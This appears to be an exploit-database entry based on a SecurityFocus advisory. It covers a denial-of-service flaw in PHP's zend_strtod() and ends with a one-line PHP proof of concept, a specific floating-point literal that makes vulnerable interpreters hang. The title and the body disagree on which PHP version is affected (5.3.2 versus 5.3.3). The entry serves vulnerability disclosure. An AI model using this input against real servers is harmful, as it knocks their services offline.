PHP 5.3.2 - 'zend_strtod()' Floating-Point Value Denial of Service

source: https://www.securityfocus.com/bid/45668/info

PHP is prone to a remote denial-of-service vulnerability.

Successful attacks will cause applications written in PHP to hang, creating a denial-of-service condition.

PHP 5.3.3 is vulnerable; other versions may also be affected. 

<?php $d = 2.2250738585072011e-308; ?>